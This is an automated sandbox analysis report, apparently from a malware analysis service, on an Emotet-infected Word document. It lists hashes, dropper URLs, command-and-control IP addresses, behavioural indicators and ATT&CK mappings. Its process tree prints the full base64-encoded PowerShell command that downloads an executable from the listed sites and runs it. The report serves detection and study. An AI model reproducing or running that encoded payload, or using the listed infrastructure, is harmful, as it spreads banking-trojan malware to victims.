emotet | 02a46818c33b570a81bb3fce6ff8ef6288fc162144dea7e1750824dee65ab6ca

General

Target
emotet_e1_02a46818c33b570a81bb3fce6ff8ef6288fc162144dea7e1750824dee65ab6ca_2020-08-18__050933._doc.doc
Size 236KB
Sample200818-g4rpsqefwe
SHA256 02a46818c33b570a81bb3fce6ff8ef6288fc162144dea7e1750824dee65ab6ca
MD5 aa0b0e038de94ae65a1abe95ea78701a
SHA1 041f9e9ba8a3926afbf145d6df2e7acdd05481d2
SHA512 e25f8b21eaa75579a85cb985337ae717dac4f17a5911539b52c9a3a9efc1ddb6d286878ef1c0de1bf5ddbe52a0990f1cb1943cabc00fc2287127d991823de381
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://defiteqturkiye.com/Uh/
exe.dropper
http://www.electropixel.com/Te8qO04/
exe.dropper
http://elevationadvertising.com/mobile/cb595319/
exe.dropper
http://etawala.com/bae05905/
exe.dropper
http://diamondbraintutor.com/wp-includes/2G33O54/

Extracted

Family

emotet

C2

45.173.88.33:80
209.126.6.222:8080
5.153.250.14:8080
190.163.31.26:80
94.206.45.18:80
68.183.170.114:8080
219.92.13.25:80
111.67.12.221:8080
207.144.103.227:80
73.116.193.136:80
177.72.13.80:80
70.32.84.74:8080
77.55.211.77:8080
172.104.169.32:8080
51.159.23.217:443
80.249.176.206:80
192.241.146.84:8080
190.115.18.139:8080
190.190.148.27:8080
104.131.41.185:8080
58.171.153.81:80
191.99.160.58:80
67.247.242.247:80
82.76.111.249:443
212.71.237.140:8080
177.73.0.98:443
217.13.106.14:8080
87.106.46.107:8080
95.85.151.205:80
116.125.120.88:443
186.250.52.226:8080
81.198.69.61:80
70.32.115.157:8080
190.147.137.153:443
209.236.123.42:8080
46.28.111.142:7080
51.255.165.160:8080
72.47.248.48:7080
137.74.106.111:7080
178.250.54.208:8080
204.225.249.100:7080
192.241.143.52:8080
185.94.252.27:443
24.135.198.218:80
50.28.51.143:8080
45.161.242.102:80
202.4.57.96:80
212.93.117.170:80
94.176.234.118:443
89.32.150.160:8080
83.169.21.32:7080
189.2.177.210:443
91.219.169.180:80
61.92.159.208:8080
190.6.193.152:8080
186.32.90.103:443
2.47.112.152:80
24.148.98.177:80
191.182.6.118:80
201.171.150.41:443
5.196.35.138:7080
177.74.228.34:80
187.162.248.237:80
178.79.163.131:8080
149.62.173.247:8080
217.199.160.224:7080
186.103.141.250:443
170.81.48.2:80
181.129.96.162:8080
147.91.184.91:80
186.70.127.199:8090
190.195.129.227:8090
45.33.77.42:8080
91.222.77.105:80
68.183.190.199:8080
185.94.252.12:80
114.109.179.60:80
143.0.87.101:80
24.135.1.177:80
188.2.217.94:80
213.60.96.117:80
213.176.36.147:8080
12.162.84.2:8080
77.90.136.129:8080
174.100.27.229:80
82.196.15.205:8080
104.131.103.37:8080
85.105.140.135:443
95.9.180.128:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1820	644	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4044-10-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/4044-10-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/3948-13-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet
behavioral2/memory/3948-13-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	1820	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4044	Unrm2w6dd.exe
3948	RMActivate_isv.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\FwRemoteSvr\RMActivate_isv.exe	Unrm2w6dd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1820	powersheLL.exe
1820	powersheLL.exe
1820	powersheLL.exe
3948	RMActivate_isv.exe
3948	RMActivate_isv.exe
3948	RMActivate_isv.exe
3948	RMActivate_isv.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1820	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
4044	Unrm2w6dd.exe
4044	Unrm2w6dd.exe
3948	RMActivate_isv.exe
3948	RMActivate_isv.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 4044	1820	powersheLL.exe	73
PID 1820 wrote to memory of 4044	1820	powersheLL.exe	73
PID 1820 wrote to memory of 4044	1820	powersheLL.exe	73
PID 4044 wrote to memory of 3948	4044	Unrm2w6dd.exe	74
PID 4044 wrote to memory of 3948	4044	Unrm2w6dd.exe	74
PID 4044 wrote to memory of 3948	4044	Unrm2w6dd.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_02a46818c33b570a81bb3fce6ff8ef6288fc162144dea7e1750824dee65ab6ca_2020-08-18__050933._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAHoAbAB4AGoAcABqAD0AKAAnAE8AZgBsACcAKwAnADEAeAA2ADcAJwApADsAJgAoACcAbgBlAHcALQBpACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQARQBuAFYAOgBUAGUAbQBQAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAYABVAFIASQB0AGAAWQBQAHIAYABPAFQATwBDAGAAbwBMACIAIAA9ACAAKAAnAHQAbAAnACsAJwBzADEAMgAsACcAKwAnACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFAAeQB6AG4ANABuAHcAIAA9ACAAKAAnAFUAbgByAG0AMgB3ACcAKwAnADYAJwArACcAZABkACcAKQA7ACQAUwAwAG8AYQBkAHAAMQA9ACgAJwBJADAAJwArACcAagBqACcAKwAnAHYAOQB1ACcAKQA7ACQASgA1AGcAawBkAHAAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAnACsAJwAwAH0AJwArACcATwAnACsAJwBmAGYAaQBjAGUAMgAwACcAKwAnADEAOQB7ADAAfQAnACkAIAAgAC0AZgBbAEMAaABhAHIAXQA5ADIAKQArACQAUAB5AHoAbgA0AG4AdwArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAVAA5AGUANQBnADIANAA9ACgAJwBPACcAKwAnAHAAOABrADYAbAAnACsAJwA1ACcAKQA7ACQATgB6AGcANQBmADgANwA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwASQBlAE4AdAA7ACQATgB3ADEAbAB3AGQAbgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvACcAKwAnAGQAZQBmAGkAdABlACcAKwAnAHEAdAAnACsAJwB1AHIAawBpAHkAZQAnACsAJwAuAGMAbwAnACsAJwBtACcAKwAnAC8AJwArACcAVQBoACcAKwAnAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZQAnACsAJwBsACcAKwAnAGUAYwB0ACcAKwAnAHIAbwAnACsAJwBwAGkAJwArACcAeABlACcAKwAnAGwALgBjAG8AbQAvAFQAJwArACcAZQA4AHEATwAwADQALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZQBsAGUAdgBhAHQAaQAnACsAJwBvAG4AJwArACcAYQBkAHYAZQByAHQAaQBzACcAKwAnAGkAJwArACcAbgBnAC4AYwBvAG0ALwBtACcAKwAnAG8AYgBpAGwAZQAvAGMAYgA1ADkAJwArACcANQAzACcAKwAnADEAOQAvACoAJwArACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwAnACsAJwBlACcAKwAnAHQAYQB3ACcAKwAnAGEAbABhACcAKwAnAC4AYwBvAG0ALwBiAGEAJwArACcAZQAwADUAJwArACcAOQAwADUAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AZABpAGEAJwArACcAbQBvAG4AJwArACcAZAAnACsAJwBiAHIAYQBpACcAKwAnAG4AdAB1AHQAbwByAC4AYwBvACcAKwAnAG0ALwB3ACcAKwAnAHAALQBpACcAKwAnAG4AYwBsACcAKwAnAHUAZABlAHMALwAnACsAJwAyAEcAMwAzAE8ANQAnACsAJwA0AC8AJwApAC4AIgBTAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8AbgB6AGwAbwB0AGMAPQAoACcAQQByAHQAJwArACcAOAB6ACcAKwAnAHQAMwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGwAMwBqAHkAdgA3ACAAaQBuACAAJABOAHcAMQBsAHcAZABuACkAewB0AHIAeQB7ACQATgB6AGcANQBmADgANwAuACIAZABgAG8AdwBgAE4ATABvAGEARABgAEYAaQBsAEUAIgAoACQAVQBsADMAagB5AHYANwAsACAAJABKADUAZwBrAGQAcAB0ACkAOwAkAFQAbgA3ADgAXwBqADEAPQAoACcARAB5AHEAJwArACcAeQAnACsAJwB0AHAAbAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQASgA1AGcAawBkAHAAdAApAC4AIgBsAGAARQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMgAwADQAMwA5ACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEoANQBnAGsAZABwAHQAKQA7ACQAQgAxAGkAaQBqAF8AaAA9ACgAJwBGADUAJwArACcAMQBpADcAYwBhACcAKQA7AGIAcgBlAGEAawA7ACQASgBzAHMAcQA4AGkAawA9ACgAJwBUAGYAMgAnACsAJwBjACcAKwAnAHAAbgB2ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQAzAHgANQB1AGwAcwA9ACgAJwBSAGIAJwArACcAMwAnACsAJwBxAF8AMgBqACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Users\Admin\AppData\Local\Temp\Office2019\Unrm2w6dd.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Unrm2w6dd.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\SysWOW64\FwRemoteSvr\RMActivate_isv.exe
    "C:\Windows\SysWOW64\FwRemoteSvr\RMActivate_isv.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1820-4-0x00007FFE01700000-0x00007FFE020EC000-memory.dmp

Download

memory/1820-5-0x0000021644530000-0x0000021644531000-memory.dmp

Download

memory/1820-6-0x0000021644800000-0x0000021644801000-memory.dmp

Download

memory/3948-13-0x00000000020E0000-0x00000000020EC000-memory.dmp

Download

memory/3952-0-0x00007FFE08FD0000-0x00007FFE09696000-memory.dmp

Download

memory/4044-10-0x0000000000610000-0x000000000061C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads